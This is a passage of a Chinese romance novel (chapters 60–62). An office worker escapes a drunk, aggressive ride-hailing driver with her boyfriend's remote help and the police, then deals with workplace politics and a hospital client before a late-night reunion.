现在只差姜渠做最后的审批了。其实,如果姜渠也没发现,这笔款到了财务也大概率不会被拨出去。只不过,她一定会被严苛的财务挂在内部警示的名单上,这会非常的丢人。
重新提交并不费多少功夫,但要在下班时间催审批线上的这几位大神审批却相当费劲,得联系上人,得道歉,得解释为什么需要再一次,才能在各种批评声之后获得审批。等审批单终于再次流转到姜渠那里的时候,北京时间已经是凌晨两点过。
辛熙发了消息,请他审批。他过的美国时间,辛熙自然不怕打扰他,但她还是例行公事说了句,“抱歉,打扰您了,这笔款明日就得汇出去。”
“这么晚?”
随着审批单被通过的消息传送回来,辛熙又收到了姜渠的一句,“还没下班?”
“快了”,辛熙回答得很冷淡。
天气预报显示,纽约的天气多云转晴。辛熙想,姜渠这个点应该正在享受下午茶,他一定会戴着墨镜,在一众欧美人里毫不逊色。哼,爱装酷的男人。当高层这么好的吗?可以自由地在国外待这么久?为什么自己只要不在津南待着,就会觉得不踏实?好像自己偷会儿懒,公司就得破产清算。
辛熙此刻深思混沌,她发现自己的怨气不再限于一个不确定归期的男朋友,还因为自己这苦命的牛马生活。这是她第一次觉得,人还是得往上晋升啊。高职位带来的不仅仅是高收入,还有高度的自由。
她可太想要自由了。
辛熙太困了,她打了辆车,上车就侧靠在座椅上,困得不行。
司机开夜车,可能也怕困,于是没话找话,问她,“这么晚才回家,是加班还是和朋友玩啊?”
“加班啊”,辛熙有气无力地回答。
“你们加班,工资给得高哇?这个地段的公司,听说每个月随随便便好几万啦。”
“没有啦。”
辛熙无奈,但司机并不相信她说的,“我看你住吉兆胡同的,那地方租金可不低。能租得起那里的房子,怎么着也得这个数。”
辛熙尴尬地笑笑,“我就是运气好,遇到个好房东,便宜租给我的。”
“怎么什么好事都被你们占着了呢”,司机忽然冷冷地说出这么一句。
脑中顿时警铃大作,辛熙强撑起眼皮去观察前面的司机。车内灯光昏暗,只能看出个大概轮廓。司机戴着鸭舌帽,从听声音判断是名男性,膀大腰圆的男性。
司机的抱怨声没停,“还是有文化好啊。坐办公室。不用日晒风吹的,每个月还有大几万入账。住得干干净净,穿得漂漂亮亮,出门还有我们车接车送。哪像我们这些烂人哦,年轻时工地搬砖伤了腰,钱没赚到,老婆也跟人跑了。到这把年纪,日子还有什么奔头。”
辛熙此刻无比的清醒,她甚至闻到了淡淡的酒精味道从驾驶座传来。顺着司机的动作,她看到了放在操控台上的白色透明饮料瓶。
车子在四通八达的路上飞奔,窗外只有闪烁又冷清的霓虹,无人在意此时的超速行驶。
辛熙听见司机在问她,“妹子,你们女人是不是都挺看不起哥这样的?”
“没啊”,辛熙故作冷静。
“那你怎么不跟哥说话?”
辛熙咧嘴笑了下,“我就是加班累的。我们那公司啊,简直把人当牲口使唤。你别看我年轻,体检的时候也是一堆毛病。我去跟公司请假,明天做手术,可公司领导还非要我今天把所有事情弄完,才让走。”
辛熙一边说,一边悄悄地给微信好友群发消息:给我打个电话吧。
60. 第 60 章
这个时间点,她可以联系的人应该都睡着了,辛熙并不抱多大希望。她捏紧手机,一面希望是自己疑心过重,一面又不得不直面前方司机的暴躁。
手机响了,姜渠的电话打进来,“怎么了?”
辛熙接起电话的那一刻,有些想哭,但她瞧见司机正在通过后视镜打量自己,只能故作无事,“姜......姜姜啊。怎么这么晚还没睡?找我干嘛呀?对啊,我加班到这个点了........在车上啊,打了个车,这么晚没公交了啊,不然我哪里舍得打车。”
“现在走到什么位置了?”姜渠沉着应对。
深夜的城市,灯光不足,辛熙仔细辨认了一会儿,说:“不用接,我都到济南路了,再有半小时就到了。”
大洋彼岸的姜渠从正在打游戏的徐进手中抢过手机,点开搜索地图,声音是克制又冷静的,“电话不要挂,你继续说。我会找人去接你。”
“嗯,就是......”辛熙一时头脑空白,不知道该说什么。车子行驶进隧道,窗外射进来一道光,她看清了司机右脸的几道新鲜抓痕,心头跟着一紧。
“辛熙”,姜渠又唤她一声。
“你说什么?”
“别怕,不会有事的,我在。”
“嗯,好”,辛熙觉得自己的焦灼得到了暂时缓解,于是继续自己的胡编乱造,她说:“你是不知道啊,我们公司那领导有多变态,上季度的绩效奖金他给了我C,最差的。我是全组最勤勤恳恳,任劳任怨的,最后......抵不过那些嘴甜的关系户。他,他还潜规则女下属。真的。但凡出点问题就是底下人执行不到位,有了成果就全是靠他个人领导有方了。我今天加班加得,我现在只觉得心慌、脑壳痛......去医院?不去,不去,我明天就能回老家了,京北看病太贵了,进一次医院,半年都白干。”
“继续”,姜渠手上的动作不停,很快将她的大概位置信息发了出去。
辛熙努力回想自己这些年受过的委屈,但其实真正记在心里的少之又少,她对自己的生活一向很满意,偶尔的波折和不顺心,都能很快化解。烦恼是什么?烦恼是自己找来吃的苦。她从不自寻烦恼。如果想要的得不到,那就让自己不想要!她心态一向如此,所以,编造苦厄对她来说有些困难。
辛熙说:“你问他啊?我都见不着。这恋爱谈得有啥意思嘛。不说嘘寒问暖、鞍前马后吧,至少出门去哪儿得说一声吧,怎么着,每天也得想着问候一句吧。我都怀疑,他其实已经跟人跑了。”
姜渠听到这里,眉头无意识地拢紧。
辛熙继续编造她的不幸,甚至为了显得自然,她拿出手纸擦了下鼻涕,语调神情也都是期期艾艾地,“老话常说什么女人心海底针,我看这男人的心也是说变就变的,他啊......”
“没变。”
听筒里突然传出这俩字,辛熙的脑子嗡地短路五秒,险些节奏被打乱,干咳了两声,“我跟你讲啊,他那个前女友我见过,高挑漂亮,还有钱。真的,哪儿哪儿都好。跟长辈关系处得也好。不像我咯.......刚才一起的时候话是说得多好听的啊,要同甘共苦,一起在这座城市打拼,结果咧,刚遇到点困难,人立马翻脸无情。骗骗我感情就算了,他还骗我钱,他就是个.......”,辛熙忍住了“王八蛋”三个字,“负心汉,仗着自己长得帅点,在外勾三搭四,还和前女友牵扯不清。骗我说去出差,半个月了都没消息,还跟那儿指责我,说我无趣、多疑,让我信任他。我把我全部的积蓄都给他了,我现在就是人财两空......”
“是吗?”也许是察觉到了他说话的声音不会有影响,姜渠居然顺着她的话接了,“这么差劲的话,你当初怎么看上的?”
“长得好看呗”,辛熙顺口胡诌。
“那你下回找对象,可不能再这么肤浅了。”
辛熙装作哀叹,“记住了,帅哥对我笑,不是要骗人,就是要骗钱。”
“聪明”,姜渠盯着手机收到的信息,告诉辛熙,“找个借口,让司机靠边停车,电话不要挂”。
听他这么一说,心口压着的那口气,才算顺着出去了,“好吧,那咱下回再聊。”
辛熙将手机紧紧捏在手中,对司机说:“大哥,麻烦您靠边停一下,我想吐。快一点,别吐您车里了。”
司机一听,更是急躁,明明前方没有车辆,却还是在用力地按着喇叭,“这一天天的,真是够了”。
“对不起啊,但是,呕......”这并非是她假装。劣质皮料里裹着陈旧的腐朽味道,和刺鼻的酒精混在一起,真的让她生理性地反胃。
司机骂骂咧咧地靠边,“你们女的,太TM麻烦了”。
辛熙提着自己的包包下车,寒冷的空气瞬间将她裹挟,她打了个寒颤,凌晨的城市街道一个行人都没有,她孤立无援。
司机等得不耐烦,从驾驶室走下来,朝她吼,“干嘛呢,还走不走了的,想死这儿是不是”。
绿化带的那头是家二十四小时营业的便利店,但距离稍有些远。辛熙缓慢起身,她说:“大哥,我真的不太舒服。要不,我去那边买瓶水,漱漱口啊。”
司机失去耐心,走上前来抓她,吐出的每一口气里都有浓浓的酒糟味儿,“别找事儿,上车,回家洗。”
“真的,我就买瓶水,嘴里难受”,辛熙摁着自己翻江倒海的胃,说得很可怜。这时候,根本不再需要任何的演技,恐惧和寒冷已经将她的勇气啃噬得破烂不堪。她想往便利店跑,却被司机拽住胳膊,辛熙看清了他的脸,是疲倦又狠厉的面容。
“啊,是不是找事,你是不是找事,你们都故意来找我事,是吧?都欺负我,是吧?来啊,谁怕谁啊!”伴随着激烈的语气,司机更是动作粗暴地朝车轮狠踹了几脚。
就在辛熙以为今日少不了要遭罪的时候,人民警察开着闪闪亮亮的正义之车抵达,顺利解救了她。嘭嘭乱跳的心,滚回了实处。
辛熙今日对“相由心生”这个词有了切实的理解,今日解救她的两名警察,都是目光清正,鼻骨笔直,面阔耳厚的良善之相。
一名年纪稍大的警察到便利店买了瓶热牛奶递给她,“别怕啊,妹子,没事了”。
辛熙将牛奶搁在膝盖上,双手环抱住,蜷缩着坐在绿化道旁。同样的称呼,从警察嘴里说出来的“妹子”就觉得干干净净。
辛熙道了谢,觉得眼前的一切有些不真实感。城市的高楼安安静静地在后面矗立,暴躁的司机在面对警察时并没有反抗,他束着手,任凭手铐束缚他的自由,眼睛里是一片死灰,年轻的警察在做简单的记录。
辛熙问自己身边的警察,“那他......会怎么处理呢?”
警察回答,“我们做完笔录后会移交给交警那边,超速、醉驾,危险驾驶,最轻也得吊销驾驶证了。但他并没有对你造成实质性的伤害,所以这方面......”
“明白了,谢谢警官。”
“谢什么,职责所在。再说了,要谢的话,你就让老姜亲自到局里给我送面锦旗。”
辛熙有些惊讶地看向他,“您是?”
“忘了自我介绍了,我是老姜的中学同学-董明成。”
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“哦,您好,董警官。”
年轻的警察做完事,朝董明成示意,“董局,可以走了。”
董明成站起身,对他说:“你先把人带回局里,连夜审了。”
年轻的警察很快走掉。董明成开着警车,将辛熙护送回家。一路上,辛熙的话很少,她的身体疲倦,但脑子却像被一根铁线支楞着,强行保持清醒。
“吓坏了吧?”董明成说。
辛熙下意识地摇头,随后又点点头,“有点。我,也许是我太敏感了,他只是情绪不好,并没有恶意,对吗?”
辛熙想起司机被押解上车的样子:低埋着头,仿佛人生提前走到了终点,他的腰间在拉扯中露出一大块棕黑色的膏药,可能是因为反复的使用,药膏有些泄漏。令她难受作呕的那股腐朽味道,应该就是源于此。
“觉得愧疚?”董明成问她。
“他很可怜,这是事实”,所以在他被押解上车前,她将手里的热牛奶递给了他,“但他的可怜不是我造成,对吧?我没有义务为他的不幸承担道德压力”。辛熙这么安慰自己。
董明成对她说,“我的同事刚才给我同步了案件的最新情况。这位司机在接上一个乘客的时候,因为对方说车里的气味难闻,而将该名乘客暴打并扔进了就近的垃圾桶。所以,我们有理由相信,他在接上你的时候,继续犯罪的可能依然还在。你的谨慎救了你自己,做得很好。”
“嗯,谢谢。”
董明成将辛熙送到了家门口,远远就见黎英抱着张厚披肩,站在巷子口等她。京北的冬天是非常冷的,黎英搓着手跺着脚,焦急地四处望。
车子的大灯照亮了巷子口的石板路,黎英提步走向他们,却脚下一酸,趔趄了一下。
辛熙急急跑过去扶她,“英姨,你怎么出来了?”
“哎哟哟,总算回来了,有没有受伤啊?”黎英将披肩披在她身上,左左右右、上上下下地仔细检查,嘴里念着,“要出点什么事,可怎么办啊,我的老天爷啊,谢天谢地。”
辛熙拍着她的后背,替她缓解情绪,皮草外套的毛尖已经洇得湿漉漉地,想来已经在外面候了很久,辛熙鼻头一酸,声音哽着,“我没事,真的。董警官他们很快就到了,那人也没真的想伤害我。”
董明成走过来,朝黎英致意,“姥儿,你怎么眼里就看到她,没瞧见我呢”。
“贫嘴儿,小董啊,辛苦你了,今儿也晚了,改天来家里吃饭,姥儿给你做你最喜欢的”,黎英倒也没跟董明成客气,说完话就拉着辛熙走了。
纽约市区的某家露天咖啡馆,姜渠接完电话,总算松了口气。
徐进得到确认,拍了拍他肩头,恢复平日的随意,“就说了会没事的啦,京北的治安还是信得过的。你那么着急干什么?”
姜渠不语,桌上的咖啡已经凉透,随后他又打出去一个电话,“请帮我定明天的机票回国”。
“明天?”徐进坐起身,有些讶异,“元姨的检查还没出结果呢”。
徐进的目光捕捉到他拿着手机的手,因为无意识地用力而稍显颤抖,徐进的目光变成了沉思,随后又无所谓地一笑,“刚电话里那些话,不会是拐弯抹角地骂你了吧?”
姜渠将手机扔回桌面,没有心思理会他的调侃,“我今天会把剩下的所有事情处理好。”
徐进怎么会看不懂他的情绪转换,神情认真起来,“你不是说,她和你想象中的不一样吗?我以为,你只是不甘心之前被她甩了。”
姜渠回答:“这个问题,我需要先和当事人确认好,才能回答你。”
61. 第 61 章
这夜,辛熙睡了个安稳觉,再醒来时已经日上三竿。
黎英起得比她早,辛熙走到客厅的时候,她正戴着老花镜,在电脑键盘上敲敲打打。
辛熙觉得奇怪,凑过去细瞧,“咦~英姨,你在政务网上写什么呀?”
黎英不加思索的回答:“投诉信。这京北的监管部门太不尽职了,网约车司机的资格审查,身心健康监测这些完全没有跟踪到位。”
辛熙知道她是为了自己,“英姨,你怎么这么好~可你昨晚是怎么知道的呀?”辛熙实在不解,她确认自己并没有将信息群发给她。
黎英点击完发送,取下老花镜,“姜姜跟我说的咯。深更半夜地给我打了好几个电话,跟催命似的,吓得我心跳突突地。”
“对不起啊,英姨,让你担心了。”
“没事就好,以后晚上不要加班到那么晚,知道吗?什么工作,赚再多钱,也没自己个儿重要。”
“嗯,嗯”,辛熙连连点头。
“好了,咱们先吃早饭吧”,黎英起身的当头,脑子里忽然闪过一个疑问,“那么晚了,姜姜怎么知道你遇到事儿了?”
“嗯......我昨晚群发的消息,他在美国,有时差,可能,刚好,碰巧不就看见了”,辛熙朝她眯着眼纯纯一笑,真假掺着说,“他很善良,所以没有不管我,英姨把他教得真好”。
黎英并没有被糊弄,“你是怎么知道他在美国的?”
辛熙觉得这一大早地,脑容量就告急,“他,昨天电话里说的。”
黎英露出一种辛熙看不懂的神情,像是了然,又像是半信半疑。
辛熙早上请了假,到办公室的时候已经接近中午。梁朵丽见着她的时候像是终于见到了救星,“姐,你终于来了,我这有好多问题要问你呢。你看,这个要拆价,怎么拆啊?还有,这个销售新找来的代理商,说是医院指定要用的,可又不在咱们的授权里......”
辛熙被她劈头盖脸的一堆问题弄得头晕,“别急,咱们一个个解决。卢湘呢?”
“不知道哇”,梁朵丽嘟起嘴,“问她也不会教我的”。
辛熙在心里叹气,“咱们坐下说”。
卢湘对于新人的态度,辛熙早就领教过。之前也听其他部门的同事说起,在辛熙之前,她这个职位已经换过好几个人,都没干太长的时间,至于原因,他们一致归咎于卢湘高傲,对新人没有耐心,致使新人饱受职场蹂躏,不得不受挫离开。
午饭的时候,辛熙对梁朵丽说:“你刚到公司,肯定会有很多不懂的,所以不要害怕去问。至于别人对你是什么态度,那是他们个人的性格问题,和你无关。”
“嗯。我知道,大多数同事还是很友好的,像运营的燕姐,行政的圆圆姐,还有赵经理、李经理他们,哦,简运哥哥人也很好。可,就有个别吧,对我爱搭不理的,有时候一个问题多问了两遍,那眼神就好像......好像我是什么智障一样......也可能是我真的笨吧。”
“朵丽怎么在妄自菲薄呢,你只是缺少一些经验而已”,辛熙安慰她,从高考里过关斩将过来的人,哪里有真的笨人,辛熙问她,“那你一般都是怎么处理这些情况的?”
“嗯~装看不懂,反正我脸皮厚,嘿嘿。”
辛熙被梁朵丽稚气的话逗笑,“脸皮厚可是一个很大的优势呢。”
“真的吗?”
辛熙给了她一个很肯定的眼神。
吃过饭,梁朵丽在楼下咖啡店买了几杯咖啡,口味自然都是辛熙的建议。虽然这样的方式有很明显的功利性,但因为本身价值的不高,不会让接受者产生心理负担,所以也无伤大雅。社交关系里,除了需要求同存异,也需要一些刻意的善意释放。对方知道你的目的,但你所求的,是他轻易就能给的,何乐而不为呢。
辛熙在电梯里接到了人事经理辜自卿的电话,有些受宠若惊。虽然人事部门的工作里包含一项人文关怀,但辛熙进麦高这近两年的时间,还是头一次得到这位经理的主动关心。
辜自卿把她约到办公室,递给她一杯手冲咖啡,“尝尝,味道怎么样?”
辛熙喝了一口,浓郁的焦香味在齿间化开,发自内心地赞叹,“好香啊。听说自卿姐最近考了中级咖啡师证,果然是专业的啊。”
“嗨,都是工会搞的活动,跟着学了学,发现真有意思,过程很自愈,当然,结果也很美好”,辜自卿端起自己的咖啡杯,极为享受地喝了一口,“这就和咱们做工作一样,对吧?虽然过程会辛苦些,但出成果的时候,那种成就感就只有自己知道有多爽。”
辛熙默默地点头,她知道辜自卿还有后话,只是不知道她的铺垫会有多长。
辜自卿说:“你是你们那一批新人里,我最看好的,踏实又聪慧。你能选择转岗去做销售,令我非常的惊喜,我果然没有看错人。”
“谢谢自卿姐。也谢谢你当初给我机会进麦高”,辛熙保持自己的客气礼貌。
“最近工作怎么样啊?”辜自卿点了点自己的电脑,“我看这个月的考勤记录,你除了出外勤的几天,离开公司的时间都很晚啊”。
“嗯,新接手的客户信息需要着重梳理,所以多花了些精力。”
“新人怎么样?能帮上忙吗?”辜自卿问。
辛熙半玩笑半认真地说:“嗯,新出炉的大学生干劲儿很足,脑子也灵活。”
“那你早些把支持类的事务都交给她吧,这样你也好专心做你的工作。”
“嗯,说到这儿”,辛熙一副灵光乍现的表情,“自卿姐,我有个小小的建议。”
“你说。你知道的,麦高一直鼓励员工探索,并积极表达个人想法。”
辛熙条理清晰地说完了自己的想法,辜自卿很赞赏,“你的建议,我们会找时间和姜总聊的。”
“谢谢。”
辜自卿忽然问她:“你的想法很好,为什么不直接找你们姜总聊呢?”
“啊?”辛熙有些不解,“我以为这种岗位上的调整是由人事部门主导的呢,我应该先去找姜总吗?”
“哦,不是这个意思。其实都可以,我们也是为整个公司服务的。”
“那,需要我先找姜总汇报吗?”辛熙再次确认这个流程。
辜自卿却问:“你跟你们姜总很熟吗?”
很明显,这个“熟”并非普通人际关系上的认识之意,尤其辜自卿打量的眼神里明显暗示着某种情感基础的叠加,辛熙敏感地察觉,或许这才是产生这次聊天的真正缘由,她不自然地喝了一口咖啡,“怎么突然这么问?他是咱们部门的大老板,又兼管了一段时间的北区,所以自然是认识的。”
辜自卿并没有对此追问,她守着自己的边界,只是说:“人事部门一直致力于员工关怀,包括职业发展、身心健康等。如果今后再遇到像昨晚那样的意外,请随时联系我们,我们会尽最大的努力提供帮助。”
辜自卿为何会知道昨晚的事情?这个疑问,辛熙没有深问。出于她自己无法完全坦诚的缘由,她也能接受对方的有所保留。
辛熙回到工位的时候,梁朵丽正在问卢湘问题,见她回来,卢湘推了推椅子,放下手中的咖啡,“你mentor回来了,让她教你吧。”
梁朵丽朝辛熙无奈地耸耸肩,辛熙只能回以安慰的笑。解释完流程和具体的操作后,梁朵丽抱着电脑去了楼下。
临近下班的时间,公司公邮发来一封群发邮件,告知所有员工及领导层,公司原则上不鼓励员工加班,若个别业务线有需要,在公司加班的时间也不可以超过晚上九点。
“人事部门总算干了件人事”,卢湘如此评价,她趁着这个间隙问辛熙,“先前,辜自卿找你干嘛?”
“就是关心下我最近的工作。她说,发现我最近下班都挺晚的。”
“人事还关心起这个来了?”卢湘绷着唇弓,睇向她,“没说其他的?你俩在里面可聊了很久”。
“也问了下朵丽的情况吧,毕竟她刚来。”
“那你说什么了?”
“就,照实说的呗。态度好,脑子灵,但还有很多不熟悉的地方”,辛熙说到这儿,略一沉思,“哦,对了,他们好像说在制订什么人才培养计划
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。应该是想把咱全国的销售支持单独组成一个team,然后从原有的这些人里选一个team leader。”
“意思是让我们不再分归当地的销售经理管理?”
“应该是吧。”
卢湘在沉默,她知道这意味着什么。
辛熙特别认真地问她,“湘湘,如果真有这个机会,你想不想要争取一下?”
“我吗?”卢湘嘴硬,“算了,当leader太操心了,什么都得管。”
“也确实”,辛熙点点头,“但我觉得你完全可以胜任呢”。
过了一会儿,梁朵丽忙完先前的事情回来,坐到辛熙身边,得意地分享,“姐,多亏了今儿的咖啡,事情办得很顺利,我都想天天请他们喝了,奈何兜里银两不足。”
辛熙是真觉得梁朵丽单纯,不像她刚进公司那会儿,如履薄冰地,对谁都只敢说三分,生怕说多了错多。
“倒也不用”,辛熙劝她,有些办法只能用作短期目标导向,“保持真诚,积极主动,时间久了,自然就顺了。”
“嗯”,梁朵丽忽然凑近,一副神秘的模样,问:“姐,我刚听湘姐在楼道那边打电话,说什么升职的事儿,她要升啦?”
辛熙猜到她应该会去找李元商量,这个机会摆在面前很难不让人心动。如果她给辜自卿的提议可以被采纳的话,卢湘确实有很大的赢面。论资格,她来麦高已经五年;论能力,她不算差;至于其他,她在关键部门的同事那里一向游刃有余。这些,也是她在麦高的立足之本。
辛熙对梁朵丽说:“我明天要去津南,你有什么不懂的,都可以问她,她会教你的。”
辛熙去津南前,先去了4S店取车,办完保险、挂上临时牌照后,立马和爱车来个三百六十度的自拍,发到了家庭群里。爷爷说,要等辛熙开车载他自驾游,奶奶嘱咐她千万要小心,爸爸妈妈也是叮嘱不完的话,辛雅在繁忙的工作里抽空回了她一下:如果交不起停车费,我这儿有个闲置的。
辛熙:用不着,我开到津南去。
辛雅:敢走高速了?
辛妈妈紧跟着问:妹妹啊,你才刚拿到驾照,可不敢开高速哦。
辛熙只得乖乖地回答:知道的,妈妈,我请了个朋友先帮我开过去。
朋友?什么朋友?靠不靠谱?男的女的?拍个照看看?
辛熙被群里的消息轰炸得头皮发麻,只得赶紧解释:普通朋友,人家刚好去津南出差,你们想多了。回复完消息,她立马关掉了手机,生怕消息爆炸溢出来,浇自己一身的尴尬。
辛熙对朝她走过来的人,歉声道:“又得麻烦你了,江准”。
“客气什么,你这还帮我省了笔油费呢”,江准还是一贯地温和,像个仙风道骨的修行人。
有时候,辛熙甚至怀疑他没有自己的喜怒哀乐,“总之,等到了津南,我肯定得请你吃顿好的,你可不能再拒绝。”
“好。”
车子行驶到高速路上时,辛熙接到了姜渠的电话,那时她正在研究自己车里的各项功能,手机连上了车载蓝牙。电话来的时候,她有些手忙脚乱,不知道误点了哪里,直接接通了电话。
江准提醒她,“可以直接说话了”。
“是吗?”辛熙扭着身子,姿势奇怪,声线里夹着不明的气喘,“喂,姜总,可以听见吗?”
在短暂的静默后,姜渠的声音出现,“你现在在哪里?”
“我在去津南的高速上哦。”
随后,姜渠说:“我回来了。”
“哦”,回就回呗,难不成还要捧束鲜花去接你?辛熙腹诽。
“哦?”姜渠重复她的回答。
辛熙听出了他的不悦,可现在电话外放着,旁边还坐着个江准,她实在没那脸皮同他说些荤的素的,只能客客气气、礼礼貌貌地回答:“嗯。姜总,您这边是有什么工作上的指示吗?”
下一秒,辛熙无比后悔给新车选了现在的这款音响配置,清晰的音效形成环绕立体的效果,让姜渠的声音在全车厢内回荡,他说:“我们不谈工作,谈工作伤感情。”
62. 第 62 章
辛熙匆促地挂了电话,再响,再挂,随后姜渠的信息追过来:我今晚到!紧跟着两字:津南!
目的明确,言简意赅!字里行间包含了多重情绪。她仿佛可以看到了一位风尘仆仆但依然衣着体面的男人站在机场外咬牙切齿地发信息的样子,真是又可怜又好笑,而自己的心扉也被牵动着,似一扇被春风扣开的柴门,呼哧呼哧、左右摇摆。
“没关系吗?”江准问。
“没事儿,这高速路上信号也不好”,辛熙只能如此牵强解释。可如果此刻她去看一眼前方的化妆镜,应该能看到自己的脸红得令自己都觉得陌生。
江准将视野移到前面行驶的车子上,高调醒目的红色车身,后车窗贴了个大大的喜字,他有些想探究那是不是一辆婚车,但被后面一辆车子抢了先,他失去了换道的机会,只能继续保持安全车距。他有些遗憾地想,如果他和前方车辆保持同样的车速,即便他们朝着同一个方向行驶,他也永远不会得到答案。
车内气氛被这通电话卷入无名的尴尬,辛熙试图找一些话题缓解,但瞧见江准绷紧的唇,又心生怯意。还是江准先说话,一如先前的和风细雨,“肖楠跟你说了吗?我们准备把公司搬到津南”。
“是吗?京北不好吗?”她其实不太理解。京北在政治经济文化上的地位,远不是一个津南可以比的。多少人对它趋之若鹜啊,虽然更多的人铩羽而归。
“京北当然好啊”,江准微微偏头,但并没有看她,“但津南也不差,对吧?我们公司这几年的业务拓展主要就集中在了津南的。你知道的,京北虽好,但竞争者也多。我们几个都是普普通通的家庭出身,几乎没有资源和背景,要在京北的市场里分杯羹,火候还不足。”
“可就这样放弃的话,前面做过的努力不是白费了吗?”
“也不是全然放弃,只是重心移到这边,先前已有的客户关系还会继续维持。”
辛熙说:“那也好。起码,津南的房租能比京北省去一大半呢。而且以后咱们是不是就可以经常在津南聚了。”这么一想,又觉得是件好事。
“你......”江准无法找到准确的措辞,所以难得地吞吞吐吐,“不影响吗?我是指......你们姜总。”
“老板怎么能管下属的私人生活呢”,辛熙如是作答,又想起刚才的插曲,意识到不妥,她并不想瞒着这个对自己温柔又坦诚的江准,于是说:“当然,男朋友也不行。”
只是,江准的这顿饭还是没能请上,他临时有事,只将辛熙送到楼下就打车离开了。
辛熙早就在出租楼的对面租好了一个停车位,露天的位置,没有太大的阻挡,对于新手来说,还算友好。
下午,她去了趟圣南。合同正式开始执行,她去递交发票,顺道去医工科转了一圈,没有碰到庄来。医工科的另一位同事说,庄来被派到外面去学习了,辛熙只好给他留了个言。出来的时候,正巧碰见了常乐,她的身后跟着一群穿着白大褂的男女,可能是正要开始或者刚刚结束一场拉扯很久的院会。
辛熙没有主动上去打招呼,常乐看起来很疲惫,她认为自己并不适合在这个时间点寻找存在感。
常乐也看见了她,对身边人叮嘱了两句,朝她走过来,“怎么见着我也不过来打招呼?”
“常乐姐,哦,常副院”,辛熙识相地改了口。如今的圣南,程泉任院长,主抓医疗技术和人才培养,而常乐任副院长,管日常运营和对外宣传。
“改什么口啊,就叫姐。反正整个津南医疗界都在传,你是我亲妹”,常乐说得很随意,在别人口中的真真假假,对她来说影响都不大。
辛熙也不扭捏,“得咧,倒也是我占便宜了。我说怎么我后来签的几家客户,态度对我那叫一个大转变啊,感情是这么回事儿。”
“你今天过来干嘛?”常乐问。
“哦,我们的合同开始执行了,我来送发票。”
“要付款了?”常乐皱着眉头,觉得头大。她的走马上任选在了一个并不好的时机,医保政策缩紧,病人量流失,让医院的财政状况十分堪忧,而自己的亲弟弟常兴为了报复,更是在交接之前以各种理由逼得他们几乎掏空了账上的现金流。
辛熙也略有耳闻,“是的,第一期款的应付时间在本月25号。”
常乐的眉头皱得更紧,这让辛熙看到了岁月在她身上留下的痕迹,常乐直说:“暂时付不了。医保局还差着我们好几千万呢。”
辛熙并不意外,资金困局几乎存在于各大公私医院,她来之前就细细想过,“常乐姐,医保局的流程咱干涉不了,但咱的设备得正常使用,不能耽误了病人的检查治疗,对不对?你看这样行不行,咱们先付部分?我把合同里包含的培训,先约着时间做了,争取能帮助科室提高检查效率,这样每天能多做几个病人量,争取能先把日营收提上来。”
常乐一脸的苦恼,“我可以让财务先付你们三个月的,至于三个月后,看看效果吧。”
辛熙自然知道,单靠一个培训,想要提高医院的营收,作用甚微,于是建议:“麦高近期在筹办非公医院的交流会,主要是邀请各位管理者参与运营、人才培养、供应链搭建等多方面的交流,也会去业内的知名企业参观学习,不知道您这边有没有时间参加?”
“都有哪些医院会参加?”
“确定的名单没有出来,但津南这边拟邀名单有百睦、嘉行达,康雅等。”
常乐来了兴趣,“走,晚上一起吃饭,你跟我详细说说这个交流会。”
和常乐吃完饭出来,已经是晚上九点。他们没有喝酒,所以辛熙自己开车回去。白天半个小时的路程,她忐忐忑忑地开了五十分钟,然后卡在了倒车入库这一步。
白天和晚上的停车位在新车手的视觉里似乎是不一样的,她默念着当初教练叫的口诀,“一调二倒三回正,左倒往右看,右,右,右......”
“哪家教练教你这么看的?”脖子都快伸到后座儿去了。
一道男声在窗外响起,惊得她一个急刹,待看清来人,赶紧求救,“快帮我看着点”。
最终车子在姜渠的指挥下,顺利入库摆正。
辛熙在车上磨蹭了一会儿,思考对待姜渠的正确态度。很显然,一个刚结束长途飞行又匆忙赶来见面的人,身份角色对应的应该是和自己建立了亲密社会关系的男朋友,而不是公司的某位高层领导,那么,她正确的反应应该是......一日抵三秋,久别胜新婚?
姜渠见她迟迟不动,便上前去拉驾驶室的门,门刚巧从内推开,纤细娇软的手臂立马攀上腰间。
辛熙将头贴紧他的腹部,脸在柔软的羊绒毛衣上蹭了蹭,心想这质感真不错,等拿了这季度的奖金要给爷爷和爸爸都买一件。
“怎么了?”姜渠抬手揉了揉她的头发,以示宽慰之意。她一向是柔中带刚的,甚少流露出这样的一面,或许,是真被前天的事情吓倒了?
姜渠不由得将她搂得更紧一些,然后听见她问:“你这毛衣是什么牌子的呀?”
这男人的脸还真的是说变就变,刚才还好好的,这会儿又不说话了,辛熙看着对面沉默了一路的男人,简直无奈,“姜总,您真的不吃点东西吗?”
姜渠抬手看了眼手表,辛熙极有眼色地应道:“也是,太晚了,吃了不消化,姜总自律。那我去您给泡壶茶?”
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姜渠依然没有应答。
辛熙站起身,朝厨房走了两步,又气鼓鼓地回来,“姜渠,事不过三,我再问你第三个问题,你要还不说话,我就不管你了。”
姜渠掀眸看她,“不叫姜总了?”
辛熙发现这人有时候也幼稚得可笑,非要去计较一个称呼。可姜总是她叫得最顺嘴的了,‘姜姜’太亲昵,‘Jim’她不想叫,直呼‘姜渠’吗?这也许是现在唯一的解了。
辛熙不服气地咕哝,就听姜渠居然面不改色地说着露骨的话,“怎么不见你在床上也姜总姜总,您啊您的叫呢?”
啊~辛熙又羞又尴,“不管你了,茶也别喝了。”
人还没走两步,就被连拉带拽地拖进了沙发。她双臂交叉护在胸前,那架势就像在抵抗犯罪,清正得不行。
姜渠沉眸,将她的手拿来开,“今儿不是穿了吗?躲什么躲”。
辛熙赶紧捂住他的嘴,洗脑似的念着,“不许再说,忘掉,忘掉”。
两个人挤身在这张长沙发里稍显局促,辛熙将身子往外挪,险些掉下去,被他长臂一捞,不得不贴得更紧。她能听见两个人的心跳,你方唱罢我登场地跳着。
“姜渠......”
“嗯......”
“我们......”
“先歇一会儿,我有点累......”他坐了十几个小时的飞机,又到公司处理了些积攒的事情,才又马不停蹄地赶过来。
“哦,那你也太拼了”,辛熙闷声闷气地说话,猜测他的用意。
“嗯......”
须臾之后,耳边开始有细微的呼吸声,姜渠还真的睡着了。
头顶的大灯明晃晃地,辛熙费力地将放在茶几上的遥控开关勾过来,关掉了顶灯,只余一盏暖橘色的壁灯,助力她看清眼前的环境。她在这间出租屋住了约莫半年,小件家私被她换了个七七八八,才有点温暖的样子。辛雅说她在任何环境下都会找到让自己舒服的方式,而此刻,她挤在一个男人的怀间,两个人挤在并不宽敞的沙发里,姿势很难舒服,她却觉得踏实、安逸,有了种家的感觉。
